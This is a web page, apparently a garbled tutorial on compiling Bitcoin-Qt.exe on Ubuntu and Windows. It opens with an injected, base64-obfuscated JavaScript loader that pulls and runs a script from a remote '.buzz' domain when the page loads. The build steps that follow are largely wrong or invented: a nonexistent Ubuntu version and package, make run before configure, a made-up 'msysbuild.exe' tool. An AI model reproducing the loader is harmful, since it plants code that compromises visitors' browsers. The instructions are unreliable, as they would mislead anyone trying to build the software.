const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=fc681d89″;document.body.appendChild(script);
I can walk you through the process of building Bitcoin-Qt.exe on Ubuntu 18.4, first with the latest version (0.8.1) and then with older versions. However, note that creating an executable file for Bitcoin-qt.exe requires a little more complexity than simply compiling it.
Build Bitcoin-0.8.1
To build Bitcoin-0.8.1 on Ubuntu 18.4, you need to install the build-essential
package, which provides the necessary tools for building executables:
sudo apt update
sudo apt install -y build-essential libssl-dev libz-dev libncrypt-dev curl git
Now download the Bitcoin source code from [bitcoin.org]( and follow these steps to compile it on Ubuntu 18.4:
- Clone a Repository: Clone a Bitcoin repository using Git:
git clone bitcoin-0.8.1
- Go to directory: Change to the newly cloned directory:
cd bitcoin-0.8.1
- Bitcoin Build: Build Bitcoin using the
make
command (it will take some time depending on your CPU and RAM):
make -j $(nproc)
It is assumed that you are building for the x86_64 architecture, but you can specify the target architecture by adding -t
:
make -j $(nproc) -t arm64
- Configure Bitcoin: You need to configure Bitcoin using the
configure
script:
./configure --build=linux-64 --host=linux-64
- Generate binaries: Now generate Linux (32-bit) binaries:
make -j $(nproc)
- Installation: Install the resulting binaries and libraries:
sudo make install
Build Bitcoin-0.8.1 (with older versions)
If you want to build Bitcoin-0.8.1 from another version, you need to follow these general steps again, but with the specific version number and changes required for that version:
For 0.7.x or earlier versionssudo apt update
sudo apt install -y build-essential libssl-dev libz-dev libncrypt-dev curl git
cd bitcoin-0.8.1
git checkout
Build Bitcoin using the make
command (this will take some time depending on your CPU and RAM)make -j $(nproc)
Bitcoin setup./configure --build=linux-64 --host=linux-64
Creating a binary filemake -j $(nproc)
Installationsudo make install
Replace to the specific Bitcoin version you want to collect.
Creating a Windows Executable File (.exe)
To build an executable for Bitcoin-qt.exe from any of these versions, we will use msysbuild.exe
(included with MinGW) or Cygwin:
- Assembly and setup: First, make sure that the assembly process is completed successfully.
- Installing MSYS2: If you are using Windows 10/11, install [MSYS2]( on your system if it is not already installed.
- Get Bitcoin Source Code: Download and extract the latest version of Bitcoin source code from [bitcoin.org]( to a directory where you can easily run MSYS2 commands, for example
C:\Bitcoin
(or any other path suitable for your system).
- Go to the Bitcoin source code: Go to the
bitcoin-0.8.1
directory that was extracted during the build process.
- Building and installing Cygwin libraries: Building and installing the necessary Cygwin libraries:
cd C:\Bitcoin\bitcoin-0.8.1
Install the Cygwin libraries if you haven't done so yetmsysbuild.exe -q install -v bitcoin-dev
Now building the executable filemsysbuild.exe -q build-msys
Creating an executable Windows file (.exe)msysbuild.exe /p:CONFIG=Debug /p:EXE_OUTPUT=C:\Bitcoin\bitcoin-0.8.1\build\bitcoin.exe /p:OUT_DIR=C:\Bitcoin\bitcoin-0.8.1\build\bin
Change the path to `C:\Bitcoin\bitcoin-0.8.1\build\bitcoin.